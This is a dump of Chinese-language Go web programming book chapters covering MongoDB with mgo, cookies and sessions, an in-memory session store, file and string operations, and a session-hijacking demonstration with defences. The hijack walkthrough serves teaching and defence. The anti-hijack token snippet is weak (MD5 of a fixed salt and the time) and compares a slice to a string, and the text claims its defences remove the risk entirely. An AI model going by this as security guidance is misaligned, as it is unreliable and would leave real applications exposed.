bjson 格式來儲存資料,因此可以儲存比較複雜的資料型別。Mongo 最大的特點是他支援的查詢語言非常強大,其語法有點類似於物件導向的查詢語言,幾乎可以實現類似關聯式資料庫單表查詢的絕大部分功能,而且還支援對資料建立索引。 142 | 143 | 下圖展示了 mysql 和 mongoDB 之間的對應關係,我們可以看出來非常的方便,但是 mongoDB 的效能非常好。 144 | 145 | ![](images/5.6.mongodb.png) 146 | 147 | 圖 5.1 MongoDB 和 Mysql 的操作對比圖 148 | 149 | 目前 Go 支援 mongoDB 最好的驅動就是[mgo](http://labix.org/mgo),這個驅動目前最有可能成為官方的 pkg。 150 | 151 | 安裝 mgo: 152 | 153 | ```Go 154 | go get gopkg.in/mgo.v2 155 | ``` 156 | 157 | 下面我將示範如何透過 Go 來操作 mongoDB: 158 | 159 | ```Go 160 | package main 161 | 162 | import ( 163 | "fmt" 164 | "log" 165 | 166 | "gopkg.in/mgo.v2" 167 | "gopkg.in/mgo.v2/bson" 168 | ) 169 | 170 | type Person struct { 171 | Name string 172 | Phone string 173 | } 174 | 175 | func main() { 176 | session, err := mgo.Dial("server1.example.com,server2.example.com") 177 | if err != nil { 178 | panic(err) 179 | } 180 | defer session.Close() 181 | 182 | // Optional. Switch the session to a monotonic behavior. 183 | session.SetMode(mgo.Monotonic, true) 184 | 185 | c := session.DB("test").C("people") 186 | err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, 187 | &Person{"Cla", "+55 53 8402 8510"}) 188 | if err != nil { 189 | log.Fatal(err) 190 | } 191 | 192 | result := Person{} 193 | err = c.Find(bson.M{"name": "Ale"}).One(&result) 194 | if err != nil { 195 | log.Fatal(err) 196 | } 197 | 198 | fmt.Println("Phone:", result.Phone) 199 | } 200 | ``` 201 | 202 | 我們可以看出來 mgo 的操作方式和 beedb 的操作方式幾乎類似,都是基於 struct 的操作方式,這個就是 Go Style。 203 | 204 | 205 | 206 | ## links 207 | * [目錄](preface.md) 208 | * 上一節: [使用 Beego orm 函式庫進行 ORM 開發](05.5.md) 209 | * 下一節: [小結](05.7.md) 210 | -------------------------------------------------------------------------------- /05.7.md: -------------------------------------------------------------------------------- 1 | # 5.7 小結 2 | 這一章我們講解了 Go 如何設計 database/sql 介面,然後介紹了各種第三方關係型資料庫驅動的使用。接著介紹了 beedb,一種基於關係型資料庫的 ORM 函式庫,如何對資料庫進行簡單的操作。最後介紹了 NoSQL 的一些知識,目前 Go 對於 NoSQL 支援還是不錯,因為 Go 作為 21 世紀的 C 語言,那麼對於 21 世紀的資料庫也是支援的相當好。 3 | 4 | 透過這一章的學習,我們學會了如何操作各種資料庫,那麼就解決了我們資料儲存的問題,這是 Web 裡面最重要的一部分,所以希望大家能夠深入的去了解 database/sql 的設計思想。 5 | 6 | >[Go database/sql tutorial](http://go-database-sql.org/) 裡提供了慣用的範例及詳細的說明。 7 | 8 | ## links 9 | * [目錄](preface.md) 10 | * 上一節: [NoSQL 資料庫操作](05.6.md) 11 | * 下一章: [session 和資料儲存](06.0.md) 12 | -------------------------------------------------------------------------------- /06.0.md: -------------------------------------------------------------------------------- 1 | # 6 session 和資料儲存 2 | Web 開發中一個很重要的議題就是如何做好使用者的整個瀏覽過程的控制,因為 HTTP 協議是無狀態的,所以使用者的每一次請求都是無狀態的,我們不知道在整個 Web 操作過程中哪些連線與該使用者有關,我們應該如何來解決這個問題呢?Web 裡面經典的解決方案是 cookie 和 session,cookie 機制是一種客戶端機制,把使用者資料儲存在客戶端,而 session 機制是一種伺服器端的機制,伺服器使用一種類似於散列表的結構來儲存資訊,每一個網站訪客都會被分配給一個唯一的標誌符,即 sessionID,它的存放形式無非兩種 : 要麼經過 url 傳遞,要麼儲存在客戶端的 cookies 裡.當然,你也可以將 Session 儲存到資料庫裡,這樣會更安全,但效率方面會有所下降。 3 | 4 | 6.1 小節裡面講介紹 session 機制和 cookie 機制的關係和區別,6.2 講解 Go 語言如何來實現 session,裡面講實現一個簡易的 session 管理器,6.3 小節講解如何防止 session 被劫持的情況,如何有效的保護 session。我們知道 session 其實可以儲存在任何地方,6.4 小節裡面實現的 session 是儲存在記憶體中的,但是如果我們的應用進一步擴充套件了,要實現應用的 session 共享,那麼我們可以把 session 儲存在資料庫中(memcache 或者 redis),6.5 小節將詳細的講解如何實現這些功能。 5 | 6 | 7 | ## 目錄 8 | ![](images/navi6.png) 9 | 10 | ## links 11 | * [目錄](preface.md) 12 | * 上一章: [第五章總結](05.7.md) 13 | * 下一節: [session 和 cookie](06.1.md) 14 | -------------------------------------------------------------------------------- /06.1.md: -------------------------------------------------------------------------------- 1 | # 6.1 session 和 cookie 2 | session 和 cookie 是網站瀏覽中較為常見的兩個概念,也是比較難以辨析的兩個概念,但它們在瀏覽需要認證的服務頁面以及頁面統計中卻相當關鍵。我們先來了解一下 session 和 cookie 怎麼來的?考慮這樣一個問題: 3 | 4 | 如何抓取一個存取受限的網頁?如新浪微博好友的主頁,個人微博頁面等。 5 | 6 | 顯然,透過瀏覽器,我們可以手動輸入使用者名稱和密碼來存取頁面,而所謂的“抓取”,其實就是使用程式來模擬完成同樣的工作,因此我們需要了解“登入”過程中到底發生了什麼。 7 | 8 | 當用戶來到微博登入頁面,輸入使用者名稱和密碼之後點選“登入”後瀏覽器將認證資訊 POST 給遠端的伺服器,伺服器執行驗證邏輯,如果驗證透過,則瀏覽器會跳轉到登入使用者的微博首頁,在登入成功後,伺服器如何驗證我們對其他受限制頁面的存取呢?因為 HTTP 協議是無狀態的,所以很顯然伺服器不可能知道我們已經在上一次的 HTTP 請求中通過了驗證。當然,最簡單的解決方案就是所有的請求裡面都帶上使用者名稱和密碼,這樣雖然可行,但大大加重了伺服器的負擔(對於每個 request 都需要到資料庫驗證),也大大降低了使用者體驗(每個頁面都需要重新輸入使用者名稱密碼,每個頁面都帶有登入表單)。既然直接在請求中帶上使用者名稱與密碼不可行,那麼就只有在伺服器或客戶端儲存一些類似的可以代表身份的資訊了,所以就有了 cookie 與 session。 9 | 10 | cookie,簡而言之就是在本地計算機儲存一些使用者操作的歷史資訊(當然包括登入資訊),並在使用者再次存取該站點時瀏覽器透過 HTTP 協議將本地 cookie 內容傳送給伺服器,從而完成驗證,或繼續上一步操作。 11 | 12 | ![](images/6.1.cookie2.png) 13 | 14 | 圖 6.1 cookie 的原理圖 15 | 16 | session,簡而言之就是在伺服器上儲存使用者操作的歷史資訊。伺服器使用 session id 來標識 session,session id 由伺服器負責產生,保證隨機性與唯一性,相當於一個隨機金鑰,避免在握手或傳輸中暴露使用者真實密碼。但該方式下,仍然需要將傳送請求的客戶端與 session 進行對應,所以可以藉助 cookie 機制來取得客戶端的標識(即 session id),也可以透過 GET 方式將 id 提交給伺服器。 17 | 18 | ![](images/6.1.session.png) 19 | 20 | 圖 6.2 session 的原理圖 21 | 22 | ## cookie 23 | Cookie 是由瀏覽器維持的,儲存在客戶端的一小段文字資訊,伴隨著使用者請求和頁面在 Web 伺服器和瀏覽器之間傳遞。使用者每次存取站點時,Web 應用程式都可以讀取 cookie 包含的資訊。瀏覽器設定裡面有 cookie 隱私資料選項,開啟它,可以看到很多已存取網站的 cookies,如下圖所示: 24 | 25 | ![](images/6.1.cookie.png) 26 | 27 | 圖 6.3 瀏覽器端儲存的 cookie 資訊 28 | 29 | cookie 是有時間限制的,根據生命期不同分成兩種:會話 cookie 和持久 cookie; 30 | 31 | 如果不設定過期時間,則表示這個 cookie 的生命週期為從建立到瀏覽器關閉為止,只要關閉瀏覽器視窗,cookie 就消失了。這種生命期為瀏覽會話期的 cookie 被稱為會話 cookie。會話 cookie 一般不儲存在硬碟上而是儲存在記憶體裡。 32 | 33 | 如果設定了過期時間(setMaxAge(60*60*24)),瀏覽器就會把 cookie 儲存到硬碟上,關閉後再次開啟瀏覽器,這些 cookie 依然有效直到超過設定的過期時間。儲存在硬碟上的 cookie 可以在不同的瀏覽器程序間共享,比如兩個 IE 視窗。而對於儲存在記憶體的 cookie,不同的瀏覽器有不同的處理方式。 34 |    35 | 36 | ### Go 設定 cookie 37 | Go 語言中透過 net/http 套件中的 SetCookie 來設定: 38 | 39 | ```Go 40 | http.SetCookie(w ResponseWriter, cookie *Cookie) 41 | ``` 42 | w 表示需要寫入的 response,cookie 是一個 struct,讓我們來看一下 cookie 物件是怎麼樣的 43 | 44 | ```Go 45 | type Cookie struct { 46 | Name string 47 | Value string 48 | Path string 49 | Domain string 50 | Expires time.Time 51 | RawExpires string 52 | 53 | // MaxAge=0 means no 'Max-Age' attribute specified. 54 | // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' 55 | // MaxAge>0 means Max-Age attribute present and given in seconds 56 | MaxAge int 57 | Secure bool 58 | HttpOnly bool 59 | Raw string 60 | Unparsed []string // Raw text of unparsed attribute-value pairs 61 | } 62 | ``` 63 | 64 | 我們來看一個例子,如何設定 cookie 65 | 66 | ```Go 67 | expiration := time.Now() 68 | expiration = expiration.AddDate(1, 0, 0) 69 | cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} 70 | http.SetCookie(w, &cookie) 71 | ``` 72 |    73 | ### Go 讀取 cookie 74 | 上面的例子示範了如何設定 cookie 資料,我們這裡來示範一下如何讀取 cookie 75 | 76 | ```Go 77 | cookie, _ := r.Cookie("username") 78 | fmt.Fprint(w, cookie) 79 | ``` 80 | 還有另外一種讀取方式 81 | 82 | ```Go 83 | for _, cookie := range r.Cookies() { 84 | fmt.Fprint(w, cookie.Name) 85 | } 86 | ``` 87 | 可以看到透過 request 取得 cookie 非常方便。 88 | 89 | ## session 90 | 91 | session,中文經常翻譯為會話,其本來的含義是指有始有終的一系列動作/訊息,比如打電話是從拿起電話撥號到結束通話電話這中間的一系列過程可以稱之為一個 session。然而當 session 一詞與網路協議相關聯時,它又往往隱含了“連線導向”和/或“保持狀態”這樣兩個含義。 92 | 93 | session 在 Web 開發環境下的語義又有了新的擴充套件,它的含義是指一類別用來在客戶端與伺服器端之間保持狀態的解決方案。有時候 Session 也用來指這種解決方案的儲存結構。 94 | 95 | session 機制是一種伺服器端的機制,伺服器使用一種類似於散列表的結構(也可能就是使用散列表)來儲存資訊。 96 | 97 | 但程式需要為某個客戶端的請求建立一個 session 的時候,伺服器首先檢查這個客戶端的請求裡是否包含了一個 session 標識-稱為 session id,如果已經包含一個 session id 則說明以前已經為此客戶建立過 session,伺服器就按照 session id 把這個 session 檢索出來使用(如果檢索不到,可能會建立一個,這種情況可能出現在伺服器端已經刪除了該使用者對應的 session 物件,但使用者人為地在請求的 URL 後面附加上一個 JSESSION 的參數)。如果客戶請求不包含 session id,則為此客戶建立一個 session 並且同時產生一個與此 session 相關聯的 session id,這個 session id 將在本次回應中回傳給客戶端儲存。 98 | 99 | session 機制本身並不複雜,然而其實現和配置上的靈活性卻使得具體情況複雜多變。這也要求我們不能把僅僅某一次的經驗或者某一個瀏覽器,伺服器的經驗當作普遍適用的。 100 | 101 | ## 小結 102 | 103 | 如上文所述,session 和 cookie 的目的相同,都是為了克服 http 協議無狀態的缺陷,但完成的方法不同。session 透過 cookie,在客戶端儲存 session id,而將使用者的其他會話訊息儲存在伺服器端的 session 物件中,與此相對的,cookie 需要將所有資訊都儲存在客戶端。因此 cookie 存在著一定的安全隱患,例如本地 cookie 中儲存的使用者名稱密碼被破譯,或 cookie 被其他網站收集(例如:1. appA 主動設定域 B cookie,讓域 B cookie 取得;2. XSS,在 appA 上透過 javascript 取得 document.cookie,並傳遞給自己的 appB)。 104 | 105 | 106 | 透過上面的一些簡單介紹我們了解了 cookie 和 session 的一些基礎知識,知道他們之間的聯絡和區別,做 web 開發之前,有必要將一些必要知識了解清楚,才不會在用到時捉襟見肘,或是在調 bug 時如無頭蒼蠅亂轉。接下來的幾小節我們將詳細介紹 session 相關的知識。 107 | 108 | ## links 109 | * [目錄](preface.md) 110 | * 上一節: [session 和資料儲存](06.0.md) 111 | * 下一節: [Go 如何使用 session](06.2.md) 112 | -------------------------------------------------------------------------------- /06.3.md: -------------------------------------------------------------------------------- 1 | # 6.3 session 儲存 2 | 上一節我們介紹了 Session 管理器的實現原理,定義了儲存 session 的介面,這小節我們將範例一個基於記憶體的 session 儲存介面的實現,其他的儲存方式,讀者可以自行參考範例來實現,記憶體的實現請看下面的例子程式碼 3 | 4 | ```Go 5 | package memory 6 | 7 | import ( 8 | "container/list" 9 | "github.com/astaxie/session" 10 | "sync" 11 | "time" 12 | ) 13 | 14 | var pder = &Provider{list: list.New()} 15 | 16 | type SessionStore struct { 17 | sid string //session id 唯一標示 18 | timeAccessed time.Time //最後存取時間 19 | value map[interface{}]interface{} //session 裡面儲存的值 20 | } 21 | 22 | func (st *SessionStore) Set(key, value interface{}) error { 23 | st.value[key] = value 24 | pder.SessionUpdate(st.sid) 25 | return nil 26 | } 27 | 28 | func (st *SessionStore) Get(key interface{}) interface{} { 29 | pder.SessionUpdate(st.sid) 30 | if v, ok := st.value[key]; ok { 31 | return v 32 | } else { 33 | return nil 34 | } 35 | } 36 | 37 | func (st *SessionStore) Delete(key interface{}) error { 38 | delete(st.value, key) 39 | pder.SessionUpdate(st.sid) 40 | return nil 41 | } 42 | 43 | func (st *SessionStore) SessionID() string { 44 | return st.sid 45 | } 46 | 47 | type Provider struct { 48 | lock sync.Mutex //用來鎖 49 | sessions map[string]*list.Element //用來儲存在記憶體 50 | list *list.List //用來做 gc 51 | } 52 | 53 | func (pder *Provider) SessionInit(sid string) (session.Session, error) { 54 | pder.lock.Lock() 55 | defer pder.lock.Unlock() 56 | v := make(map[interface{}]interface{}, 0) 57 | newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} 58 | element := pder.list.PushBack(newsess) 59 | pder.sessions[sid] = element 60 | return newsess, nil 61 | } 62 | 63 | func (pder *Provider) SessionRead(sid string) (session.Session, error) { 64 | if element, ok := pder.sessions[sid]; ok { 65 | return element.Value.(*SessionStore), nil 66 | } else { 67 | sess, err := pder.SessionInit(sid) 68 | return sess, err 69 | } 70 | return nil, nil 71 | } 72 | 73 | func (pder *Provider) SessionDestroy(sid string) error { 74 | if element, ok := pder.sessions[sid]; ok { 75 | delete(pder.sessions, sid) 76 | pder.list.Remove(element) 77 | return nil 78 | } 79 | return nil 80 | } 81 | 82 | func (pder *Provider) SessionGC(maxlifetime int64) { 83 | pder.lock.Lock() 84 | defer pder.lock.Unlock() 85 | 86 | for { 87 | element := pder.list.Back() 88 | if element == nil { 89 | break 90 | } 91 | if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { 92 | pder.list.Remove(element) 93 | delete(pder.sessions, element.Value.(*SessionStore).sid) 94 | } else { 95 | break 96 | } 97 | } 98 | } 99 | 100 | func (pder *Provider) SessionUpdate(sid string) error { 101 | pder.lock.Lock() 102 | defer pder.lock.Unlock() 103 | if element, ok := pder.sessions[sid]; ok { 104 | element.Value.(*SessionStore).timeAccessed = time.Now() 105 | pder.list.MoveToFront(element) 106 | return nil 107 | } 108 | return nil 109 | } 110 | 111 | func init() { 112 | pder.sessions = make(map[string]*list.Element, 0) 113 | session.Register("memory", pder) 114 | } 115 | ``` 116 | 上面這個程式碼實現了一個記憶體儲存的 session 機制。透過 init 函式註冊到 session 管理器中。這樣就可以方便的呼叫了。我們如何來呼叫該引擎呢?請看下面的程式碼 117 | 118 | ```Go 119 | import ( 120 | "github.com/astaxie/session" 121 | _ "github.com/astaxie/session/providers/memory" 122 | ) 123 | ``` 124 | 當 import 的時候已經執行了 memory 函式裡面的 init 函式,這樣就已經註冊到 session 管理器中,我們就可以使用了,透過如下方式就可以初始化一個 session 管理器: 125 | 126 | ```Go 127 | var globalSessions *session.Manager 128 | 129 | //然後在 init 函式中初始化 130 | func init() { 131 | globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) 132 | go globalSessions.GC() 133 | } 134 | ``` 135 | 136 | ## links 137 | * [目錄](preface.md) 138 | * 上一節: [Go 如何使用 session](06.2.md) 139 | * 下一節: [預防 session 劫持](06.4.md) 140 | -------------------------------------------------------------------------------- /06.4.md: -------------------------------------------------------------------------------- 1 | # 6.4 預防 session 劫持 2 | session 劫持是一種廣泛存在的比較嚴重的安全威脅,在 session 技術中,客戶端和伺服器端透過 session 的識別符號來維護會話, 但這個識別符號很容易就能被嗅探到,從而被其他人利用。它是中間人攻擊的一種型別。 3 | 4 | 本節將透過一個範例來示範會話劫持,希望透過這個範例,能讓讀者更好地理解 session 的本質。 5 | ## session 劫持過程 6 | 我們寫了如下的程式碼來展示一個 count 計數器: 7 | 8 | ```Go 9 | func count(w http.ResponseWriter, r *http.Request) { 10 | sess := globalSessions.SessionStart(w, r) 11 | ct := sess.Get("countnum") 12 | if ct == nil { 13 | sess.Set("countnum", 1) 14 | } else { 15 | sess.Set("countnum", (ct.(int) + 1)) 16 | } 17 | t, _ := template.ParseFiles("count.gtpl") 18 | w.Header().Set("Content-Type", "text/html") 19 | t.Execute(w, sess.Get("countnum")) 20 | } 21 | ``` 22 | 23 | count.gtpl 的程式碼如下所示: 24 | 25 | ```Go 26 | Hi. Now count:{{.}} 27 | ``` 28 | 然後我們在瀏覽器裡面重新整理可以看到如下內容: 29 | 30 | ![](images/6.4.hijack.png) 31 | 32 | 圖 6.4 瀏覽器端顯示 count 數 33 | 34 | 隨著重新整理,數字將不斷增長,當數字顯示為 6 的時候,開啟瀏覽器(以 chrome 為例)的 cookie 管理器,可以看到類似如下的資訊: 35 | 36 | 37 | ![](images/6.4.cookie.png) 38 | 39 | 圖 6.5 取得瀏覽器端儲存的 cookie 40 | 41 | 下面這個步驟最為關鍵: 開啟另一個瀏覽器(這裡我打開了 firefox 瀏覽器),複製 chrome 位址列裡的地址到新開啟的瀏覽器的位址列中。然後開啟 firefox 的 cookie 模擬外掛,建立一個 cookie,把按上圖中 cookie 內容原樣在 firefox 中重建一份: 42 | 43 | ![](images/6.4.setcookie.png) 44 | 45 | 圖 6.6 模擬 cookie 46 | 47 | Enter 後,你將看到如下內容: 48 | 49 | ![](images/6.4.hijacksuccess.png) 50 | 51 | 圖 6.7 劫持 session 成功 52 | 53 | 可以看到雖然換了瀏覽器,但是我們卻獲得了 sessionID,然後模擬了 cookie 儲存的過程。這個例子是在同一臺計算機上做的,不過即使換用兩臺來做,其結果仍然一樣。此時如果交替點選兩個瀏覽器裡的連結你會發現它們其實操縱的是同一個計數器。不必驚訝,此處 firefox 盜用了 chrome 和 goserver 之間的維持會話的鑰匙,即 gosessionid,這是一種型別的“會話劫持”。在 goserver 看來,它從 http 請求中得到了一個 gosessionid,由於 HTTP 協議的無狀態性,它無法得知這個 gosessionid 是從 chrome 那裡“劫持”來的,它依然會去查詢對應的 session,並執行相關計算。與此同時 chrome 也無法得知自己保持的會話已經被“劫持”。 54 | ## session 劫持防範 55 | ### cookieonly 和 token 56 | 透過上面 session 劫持的簡單示範可以了解到 session 一旦被其他人劫持,就非常危險,劫持者可以假裝成被劫持者進行很多非法操作。那麼如何有效的防止 session 劫持呢? 57 | 58 | 其中一個解決方案就是 sessionID 的值只允許 cookie 設定,而不是透過 URL 重置方式設定,同時設定 cookie 的 httponly 為 true,這個屬性是設定是否可透過客戶端指令碼存取這個設定的 cookie,第一這個可以防止這個 cookie 被 XSS 讀取從而引起 session 劫持,第二 cookie 設定不會像 URL 重置方式那麼容易取得 sessionID。 59 | 60 | 第二步就是在每個請求裡面加上 token,實現類似前面章節裡面講的防止 form 重複提交類似的功能,我們在每個請求裡面加上一個隱藏的 token,然後每次驗證這個 token,從而保證使用者的請求都是唯一性。 61 | 62 | ```Go 63 | h := md5.New() 64 | salt:="astaxie%^7&8888" 65 | io.WriteString(h,salt+time.Now().String()) 66 | token:=fmt.Sprintf("%x",h.Sum(nil)) 67 | if r.Form["token"]!=token{ 68 | //提示登入 69 | } 70 | sess.Set("token",token) 71 | ``` 72 | 73 | ### 間隔產生新的 SID 74 | 還有一個解決方案就是,我們給 session 額外設定一個建立時間的值,一旦過了一定的時間,我們刪除這個 sessionID,重新產生新的 session,這樣可以一定程度上防止 session 劫持的問題。 75 | 76 | ```Go 77 | createtime := sess.Get("createtime") 78 | if createtime == nil { 79 | sess.Set("createtime", time.Now().Unix()) 80 | } else if (createtime.(int64) + 60) < (time.Now().Unix()) { 81 | globalSessions.SessionDestroy(w, r) 82 | sess = globalSessions.SessionStart(w, r) 83 | } 84 | ``` 85 | session 啟動後,我們設定了一個值,用於記錄產生 sessionID 的時間。透過判斷每次請求是否過期(這裡設定了 60 秒)定期產生新的 ID,這樣使得攻擊者取得有效 sessionID 的機會大大降低。 86 | 87 | 上面兩個手段的組合可以在實踐中消除 session 劫持的風險,一方面, 由於 sessionID 頻繁改變,使攻擊者難有機會取得有效的 sessionID;另一方面,因為 sessionID 只能在 cookie 中傳遞,然後設定了 httponly,所以基於 URL 攻擊的可能性為零,同時被 XSS 取得 sessionID 也不可能。最後,由於我們還設定了 MaxAge=0,這樣就相當於 session cookie 不會留在瀏覽器的歷史記錄裡面。 88 | 89 | 90 | ## links 91 | * [目錄](preface.md) 92 | * 上一節: [session 儲存](06.3.md) 93 | * 下一節: [小結](06.5.md) 94 | -------------------------------------------------------------------------------- /06.5.md: -------------------------------------------------------------------------------- 1 | # 6.5 小結 2 | 這章我們學習了什麼是 session,什麼是 cookie,以及他們兩者之間的關係。但是目前 Go 官方標準套件裡面不支援 session,所以我們設計了一個 session 管理器,實現了 session 從建立到刪除的整個過程。然後定義了 Provider 的介面,使得可以支援各種後端的 session 儲存,然後我們在第三小節裡面介紹了如何使用記憶體儲存來實現 session 的管理。第四小節我們講解了 session 劫持的過程,以及我們如何有效的來防止 session 劫持。透過這一章的講解,希望能夠讓讀者了解整個 sesison 的執行原理以及如何實現,而且是如何更加安全的使用 session。 3 | ## links 4 | * [目錄](preface.md) 5 | * 上一節: [session 儲存](06.4.md) 6 | * 下一章: [文字處理](07.0.md) 7 | -------------------------------------------------------------------------------- /07.0.md: -------------------------------------------------------------------------------- 1 | # 7 文字處理 2 | Web 開發中對於文字處理是非常重要的一部分,我們往往需要對輸出或者輸入的內容進行處理,這裡的文字包括字串、數字、Json、XMl 等等。Go 語言作為一門高效能的語言,對這些文字的處理都有官方的標準函式庫來支援。而且在你使用中你會發現 Go 標準函式庫的一些設計相當的巧妙,而且對於使用者來說也很方便就能處理這些文字。本章我們將透過四個小節的介紹,讓使用者對 Go 語言處理文字有一個很好的認識。 3 | 4 | XML 是目前很多標準介面的互動語言,很多時候和一些 Java 編寫的 webserver 進行互動都是基於 XML 標準進行互動,7.1 小節將介紹如何處理 XML 文字,我們使用 XML 之後發現它太複雜了,現在很多網際網路企業對外的 API 大多數採用了 JSON 格式,這種格式描述簡單,但是又能很好的表達意思,7.2 小節我們將講述如何來處理這樣的 JSON 格式資料。正則是一個讓人又愛又恨的工具,它處理文字的能力非常強大,我們在前面表單驗證裡面已經有所領略它的強大,7.3 小節將詳細的更深入的講解如何利用好 Go 的正則。Web 開發中一個很重要的部分就是 MVC 分離,在 Go 語言的 Web 開發中 V 有一個專門的套件來支援`template`,7.4 小節將詳細的講解如何使用模版來進行輸出內容。7.5 小節將詳細介紹如何進行檔案和資料夾的操作。7.6 小結介紹了字串的相關操作。 5 | 6 | ## 目錄 7 | ![](images/navi7.png) 8 | 9 | ## links 10 | * [目錄](preface.md) 11 | * 上一章: [第六章總結](06.5.md) 12 | * 下一節: [XML 處理](07.1.md) 13 | -------------------------------------------------------------------------------- /07.5.md: -------------------------------------------------------------------------------- 1 | # 7.5 檔案操作 2 | 在任何計算機裝置中,檔案是都是必須的物件,而在 Web 程式設計中,檔案的操作一直是 Web 程式設計師經常遇到的問題,檔案操作在 Web 應用中是必須的,非常有用的,我們經常遇到產生檔案目錄,檔案(夾)編輯等操作,現在我把 Go 中的這些操作做一詳細總結並範例示範如何使用。 3 | ## 目錄操作 4 | 檔案操作的大多數函式都是在 os 套件裡面,下面列舉了幾個目錄操作的: 5 | 6 | - func Mkdir(name string, perm FileMode) error 7 | 8 | 建立名稱為 name 的目錄,許可權設定是 perm,例如 0777 9 | 10 | 11 | - func MkdirAll(path string, perm FileMode) error 12 | 13 | 根據 path 建立多階層子目錄,例如 astaxie/test1/test2。 14 | 15 | - func Remove(name string) error 16 | 17 | 刪除名稱為 name 的目錄,當目錄下有檔案或者其他目錄時會出錯 18 | 19 | - func RemoveAll(path string) error 20 | 21 | 根據 path 刪除多階層子目錄,如果 path 是單個名稱,那麼該目錄下的子目錄全部刪除。 22 | 23 | 24 | 下面是示範程式碼: 25 | 26 | ```Go 27 | 28 | package main 29 | 30 | import ( 31 | "fmt" 32 | "os" 33 | ) 34 | 35 | func main() { 36 | os.Mkdir("astaxie", 0777) 37 | os.MkdirAll("astaxie/test1/test2", 0777) 38 | err := os.Remove("astaxie") 39 | if err != nil { 40 | fmt.Println(err) 41 | } 42 | os.RemoveAll("astaxie") 43 | } 44 | 45 | ``` 46 | 47 | ## 檔案操作 48 | 49 | ### 建立與開啟檔案 50 | 建立檔案可以透過如下兩個方法 51 | 52 | - func Create(name string) (file *File, err Error) 53 | 54 | 根據提供的檔名建立新的檔案,回傳一個檔案物件,預設許可權是 0666 的檔案,回傳的檔案物件是可讀寫的。 55 | 56 | - func NewFile(fd uintptr, name string) *File 57 | 58 | 根據檔案描述符建立相應的檔案,回傳一個檔案物件 59 | 60 | 61 | 透過如下兩個方法來開啟檔案: 62 | 63 | - func Open(name string) (file *File, err Error) 64 | 65 | 該方法開啟一個名稱為 name 的檔案,但是是隻讀方式,內部實現其實呼叫了 OpenFile。 66 | 67 | - func OpenFile(name string, flag int, perm uint32) (file *File, err Error) 68 | 69 | 開啟名稱為 name 的檔案,flag 是開啟的方式,只讀、讀寫等,perm 是許可權 70 | 71 | ### 寫入檔案 72 | 73 | 寫入檔案函式: 74 | 75 | - func (file *File) Write(b []byte) (n int, err Error) 76 | 77 | 寫入 byte 型別的資訊到檔案 78 | 79 | - func (file *File) WriteAt(b []byte, off int64) (n int, err Error) 80 | 81 | 在指定位置開始寫入 byte 型別的資訊 82 | 83 | - func (file *File) WriteString(s string) (ret int, err Error) 84 | 85 | 寫入 string 資訊到檔案 86 | 87 | 寫入檔案的範例程式碼 88 | 89 | ```Go 90 | package main 91 | 92 | import ( 93 | "fmt" 94 | "os" 95 | ) 96 | 97 | func main() { 98 | userFile := "astaxie.txt" 99 | fout, err := os.Create(userFile) 100 | if err != nil { 101 | fmt.Println(userFile, err) 102 | return 103 | } 104 | defer fout.Close() 105 | for i := 0; i < 10; i++ { 106 | fout.WriteString("Just a test!\r\n") 107 | fout.Write([]byte("Just a test!\r\n")) 108 | } 109 | } 110 | 111 | ``` 112 | 113 | ### 讀取檔案 114 | 115 | 讀取檔案函式: 116 | 117 | - func (file *File) Read(b []byte) (n int, err Error) 118 | 119 | 讀取資料到 b 中 120 | 121 | - func (file *File) ReadAt(b []byte, off int64) (n int, err Error) 122 | 123 | 從 off 開始讀取資料到 b 中 124 | 125 | 讀取檔案的範例程式碼: 126 | 127 | ```Go 128 | 129 | package main 130 | 131 | import ( 132 | "fmt" 133 | "os" 134 | ) 135 | 136 | func main() { 137 | userFile := "asatxie.txt" 138 | fl, err := os.Open(userFile) 139 | if err != nil { 140 | fmt.Println(userFile, err) 141 | return 142 | } 143 | defer fl.Close() 144 | buf := make([]byte, 1024) 145 | for { 146 | n, _ := fl.Read(buf) 147 | if 0 == n { 148 | break 149 | } 150 | os.Stdout.Write(buf[:n]) 151 | } 152 | } 153 | ``` 154 | 155 | ### 刪除檔案 156 | Go 語言裡面刪除檔案和刪除資料夾是同一個函式 157 | 158 | - func Remove(name string) Error 159 | 160 | 呼叫該函式就可以刪除檔名為 name 的檔案 161 | 162 | ## links 163 | * [目錄](preface.md) 164 | * 上一節: [範本處理](07.4.md) 165 | * 下一節: [字串處理](07.6.md) 166 | -------------------------------------------------------------------------------- /07.6.md: -------------------------------------------------------------------------------- 1 | # 7.6 字串處理 2 | 字串在我們平常的 Web 開發中經常用到,包括使用者的輸入,資料庫讀取的資料等,我們經常需要對字串進行分割、連線、轉換等操作,本小節將透過 Go 標準函式庫中的 strings 和 strconv 兩個套件中的函式來講解如何進行有效快速的操作。 3 | ## 字串操作 4 | 下面這些函式來自於 strings 套件,這裡介紹一些我平常經常用到的函式,更詳細的請參考官方的文件。 5 | 6 | - func Contains(s, substr string) bool 7 | 8 | 字串 s 中是否包含 substr,回傳 bool 值 9 | 10 | ```Go 11 | 12 | fmt.Println(strings.Contains("seafood", "foo")) 13 | fmt.Println(strings.Contains("seafood", "bar")) 14 | fmt.Println(strings.Contains("seafood", "")) 15 | fmt.Println(strings.Contains("", "")) 16 | //Output: 17 | //true 18 | //false 19 | //true 20 | //true 21 | 22 | ``` 23 | 24 | - func Join(a []string, sep string) string 25 | 26 | 字串連結,把 slice a 透過 sep 連結起來 27 | 28 | ```Go 29 | 30 | s := []string{"foo", "bar", "baz"} 31 | fmt.Println(strings.Join(s, ", ")) 32 | //Output:foo, bar, baz 33 | ``` 34 | 35 | - func Index(s, sep string) int 36 | 37 | 在字串 s 中查詢 sep 所在的位置,回傳位置值,找不到回傳-1 38 | 39 | ```Go 40 | 41 | fmt.Println(strings.Index("chicken", "ken")) 42 | fmt.Println(strings.Index("chicken", "dmr")) 43 | //Output:4 44 | //-1 45 | ``` 46 | - func Repeat(s string, count int) string 47 | 48 | 重複 s 字串 count 次,最後回傳重複的字串 49 | 50 | ```Go 51 | 52 | fmt.Println("ba" + strings.Repeat("na", 2)) 53 | //Output:banana 54 | ``` 55 | - func Replace(s, old, new string, n int) string 56 | 57 | 在 s 字串中,把 old 字串替換為 new 字串,n 表示替換的次數,小於 0 表示全部替換 58 | 59 | ```Go 60 | 61 | fmt.Println(strings.Replace("oink oink oink", "k", 